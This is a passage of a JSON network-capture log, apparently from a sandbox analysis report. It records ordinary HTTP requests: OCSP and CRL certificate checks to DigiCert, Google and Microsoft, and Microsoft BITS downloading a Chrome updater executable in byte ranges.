  979. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D",
  980. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAH9o%2BtuynXIiEOLckvPvJE%3D HTTP/1.1\r\nCache-Control: max-age = 142986\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 07:40:28 GMT\r\nIf-None-Match: \"5cece5ec-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  981. "port": 80
  982. },
  983. {
  984. "count": 1,
  985. "body": "",
  986. "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  987. "user-agent": "Microsoft-CryptoAPI/6.1",
  988. "method": "GET",
  989. "host": "ocsp.digicert.com",
  990. "version": "1.1",
  991. "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D",
  992. "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAVG%2Fhgj9%2BGUHaOfzhTEYXM%3D HTTP/1.1\r\nCache-Control: max-age = 161796\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Tue, 28 May 2019 13:00:33 GMT\r\nIf-None-Match: \"5ced30f1-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
  993. "port": 80
  994. },
  995. {
  996. "count": 1,
  997. "body": "",
  998. "uri": "http://ocsp.pki.goog/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  999. "user-agent": "Microsoft-CryptoAPI/6.1",
  1000. "method": "GET",
  1001. "host": "ocsp.pki.goog",
  1002. "version": "1.1",
  1003. "path": "/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D",
  1004. "data": "GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1\r\nCache-Control: max-age = 86400\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.pki.goog\r\n\r\n",
  1005. "port": 80
  1006. },
  1007. {
  1008. "count": 1,
  1009. "body": "",
  1010. "uri": "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl",
  1011. "user-agent": "Microsoft-CryptoAPI/6.1",
  1012. "method": "GET",
  1013. "host": "crl.microsoft.com",
  1014. "version": "1.1",
  1015. "path": "/pki/crl/products/microsoftrootcert.crl",
  1016. "data": "GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Thu, 07 Mar 2019 06:00:16 GMT\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: crl.microsoft.com\r\n\r\n",
  1017. "port": 80
  1018. },
  1019. {
  1020. "count": 1,
  1021. "body": "",
  1022. "uri": "http://redirector.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe",
  1023. "user-agent": "Microsoft BITS/7.5",
  1024. "method": "HEAD",
  1025. "host": "redirector.gvt1.com",
  1026. "version": "1.1",
  1027. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe",
  1028. "data": "HEAD /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: redirector.gvt1.com\r\n\r\n",
  1029. "port": 80
  1030. },
  1031. {
  1032. "count": 1,
  1033. "body": "",
  1034. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1035. "user-agent": "Microsoft BITS/7.5",
  1036. "method": "HEAD",
  1037. "host": "r5---sn-tt1eln7l.gvt1.com",
  1038. "version": "1.1",
  1039. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1040. "data": "HEAD /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1041. "port": 80
  1042. },
  1043. {
  1044. "count": 1,
  1045. "body": "",
  1046. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1047. "user-agent": "Microsoft BITS/7.5",
  1048. "method": "GET",
  1049. "host": "r5---sn-tt1eln7l.gvt1.com",
  1050. "version": "1.1",
  1051. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1052. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=0-6997\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1053. "port": 80
  1054. },
  1055. {
  1056. "count": 1,
  1057. "body": "",
  1058. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1059. "user-agent": "Microsoft BITS/7.5",
  1060. "method": "GET",
  1061. "host": "r5---sn-tt1eln7l.gvt1.com",
  1062. "version": "1.1",
  1063. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1064. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=6998-17046\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1065. "port": 80
  1066. },
  1067. {
  1068. "count": 1,
  1069. "body": "",
  1070. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1071. "user-agent": "Microsoft BITS/7.5",
  1072. "method": "GET",
  1073. "host": "r5---sn-tt1eln7l.gvt1.com",
  1074. "version": "1.1",
  1075. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1076. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=17047-26969\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1077. "port": 80
  1078. },
  1079. {
  1080. "count": 1,
  1081. "body": "",
  1082. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1083. "user-agent": "Microsoft BITS/7.5",
  1084. "method": "GET",
  1085. "host": "r5---sn-tt1eln7l.gvt1.com",
  1086. "version": "1.1",
  1087. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1088. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=26970-36794\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1089. "port": 80
  1090. },
  1091. {
  1092. "count": 1,
  1093. "body": "",
  1094. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1095. "user-agent": "Microsoft BITS/7.5",
  1096. "method": "GET",
  1097. "host": "r5---sn-tt1eln7l.gvt1.com",
  1098. "version": "1.1",
  1099. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1100. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=36795-58128\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1101. "port": 80
  1102. },
  1103. {
  1104. "count": 1,
  1105. "body": "",
  1106. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1107. "user-agent": "Microsoft BITS/7.5",
  1108. "method": "GET",
  1109. "host": "r5---sn-tt1eln7l.gvt1.com",
  1110. "version": "1.1",
  1111. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1112. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=58129-76105\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1113. "port": 80
  1114. },
  1115. {
  1116. "count": 1,
  1117. "body": "",
  1118. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1119. "user-agent": "Microsoft BITS/7.5",
  1120. "method": "GET",
  1121. "host": "r5---sn-tt1eln7l.gvt1.com",
  1122. "version": "1.1",
  1123. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1124. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=76106-113755\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1125. "port": 80
  1126. },
  1127. {
  1128. "count": 1,
  1129. "body": "",
  1130. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1131. "user-agent": "Microsoft BITS/7.5",
  1132. "method": "GET",
  1133. "host": "r5---sn-tt1eln7l.gvt1.com",
  1134. "version": "1.1",
  1135. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1136. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=113756-156593\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1137. "port": 80
  1138. },
  1139. {
  1140. "count": 1,
  1141. "body": "",
  1142. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1143. "user-agent": "Microsoft BITS/7.5",
  1144. "method": "GET",
  1145. "host": "r5---sn-tt1eln7l.gvt1.com",
  1146. "version": "1.1",
  1147. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1148. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=156594-215901\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1149. "port": 80
  1150. },
  1151. {
  1152. "count": 1,
  1153. "body": "",
  1154. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1155. "user-agent": "Microsoft BITS/7.5",
  1156. "method": "GET",
  1157. "host": "r5---sn-tt1eln7l.gvt1.com",
  1158. "version": "1.1",
  1159. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1160. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=215902-351969\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1161. "port": 80
  1162. },
  1163. {
  1164. "count": 1,
  1165. "body": "",
  1166. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1167. "user-agent": "Microsoft BITS/7.5",
  1168. "method": "GET",
  1169. "host": "r5---sn-tt1eln7l.gvt1.com",
  1170. "version": "1.1",
  1171. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1172. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=351970-491178\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1173. "port": 80
  1174. },
  1175. {
  1176. "count": 1,
  1177. "body": "",
  1178. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1179. "user-agent": "Microsoft BITS/7.5",
  1180. "method": "GET",
  1181. "host": "r5---sn-tt1eln7l.gvt1.com",
  1182. "version": "1.1",
  1183. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1184. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=491179-636813\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1185. "port": 80
  1186. },
  1187. {
  1188. "count": 1,
  1189. "body": "",
  1190. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1191. "user-agent": "Microsoft BITS/7.5",
  1192. "method": "GET",
  1193. "host": "r5---sn-tt1eln7l.gvt1.com",
  1194. "version": "1.1",
  1195. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1196. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=636814-761966\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1197. "port": 80
  1198. },
  1199. {
  1200. "count": 1,
  1201. "body": "",
  1202. "uri": "http://r5---sn-tt1eln7l.gvt1.com/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1203. "user-agent": "Microsoft BITS/7.5",
  1204. "method": "GET",
  1205. "host": "r5---sn-tt1eln7l.gvt1.com",
  1206. "version": "1.1",
  1207. "path": "/edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes",
  1208. "data": "GET /edgedl/release2/chrome/APHZtEIErdMX_75.0.3770.100/75.0.3770.100_73.0.3683.86_chrome_updater.exe?cms_redirect=yes&mip=172.98.67.13&mm=28&mn=sn-tt1eln7l&ms=nvh&mt=1561016971&mv=m&pl=24&shardbypass=yes HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nAccept-Encoding: identity\r\nIf-Unmodified-Since: Tue, 18 Jun 2019 04:17:17 GMT\r\nRange: bytes=761967-900478\r\nUser-Agent: Microsoft BITS/7.5\r\nX-Old-UID: cnt=0\r\nX-Last-HR: 0x0\r\nX-Last-HTTP-Status-Code: 0\r\nX-Retry-Count: 0\r\nX-HTTP-Attempts: 1\r\nHost: r5---sn-tt1eln7l.gvt1.com\r\n\r\n",
  1209. "port": 80
  1210. },
  1211. {
  1212. "count": 1,
  1213. "body": "",
